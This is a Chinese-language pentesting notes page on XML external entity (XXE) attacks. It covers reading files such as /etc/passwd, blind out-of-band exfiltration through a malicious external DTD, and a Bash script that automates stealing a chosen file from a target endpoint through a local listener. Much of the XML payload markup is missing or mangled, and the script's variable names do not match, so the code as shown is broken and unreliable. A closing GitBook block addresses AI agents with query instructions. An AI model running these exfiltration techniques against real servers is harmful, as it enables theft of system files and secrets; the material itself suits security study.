> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-techniques-pentesting-web.md).
# XXE 技术
以下是使用 Burp Suite 处理的请求结构，适用于存在 XML 漏洞的网站：
## XML 外部实体注入：
> 在 Web 服务器没有正确验证其接收的 XML 数据的情况下，攻击者可以通过注入一个包含对服务器可访问系统文件引用的恶意 XML 实体来利用 XXE。这可以使攻击者获取系统的敏感信息，例如密码、用户名、API 密钥以及其他机密数据。要访问文件系统，我们应该创建一个新的 **实体**，例如，“myFile”，如下： `]>` 然后，在一个变量中，我们应该用“**/\&myFile**”像这样：
有时，结果不会正确显示。在这种情况下，我们可以使用下面的声明： `]>` 然后，我们将生成的 base64 内容解码回其正常形式。这会重定向到一个文件系统，例如“/etc/passwd”，并通过用“/\&myFile;”打印它，我们就可以无错误地查看该文件的内容。
## 带外交互的 XXE：
> 有时，XML 外部实体注入攻击（XXE）并不总是会在服务器响应中直接泄露敏感信息。在某些情况下，攻击者必须采用“盲打”方式，通过额外技术获取机密信息。执行盲 XXE 的一种常见方法是发送特制请求，使服务器连接到外部定义的文档类型定义（DTD）。DTD 用于验证 XML 文件结构，并且可以包含对外部资源的引用，例如服务器文件系统上的文件。创建一个文件 **malicious.dtd** ，内容如下：
```xml
">
%eval;
%exfil;
```
创建一个 **实体** ，内容如下：
```xml
%xxe;]>
```
在以下端口启动监听器： **80 端口**:
获取以下内容中的内容 **base64**:
将……转换为 **base64** 值为可读内容，结果如下：
下面的 Bash 脚本可自动化整个过程：
```bash
#!/bin/bash
echo -ne "[+] Enter the file to read: " && read -r myFilename
malhereuos_dtd="""
">
%eval;
%exfil; """
echo $malicious_dtd > malicious.dtd
python3 -m http.server 80 &>response &
PID=$!
sleep 1; echo
curl -s -X POST "http://localhost:5000/process.php" -d '
%xxe;]>
test@test.com' &>/dev/null
cat response | grep -oP "/?file=/K[^.*]+" | base64 -d
kill -9 $PID
wait $PID 2>/dev/null
rm response 2>/dev/null
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-techniques-pentesting-web.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.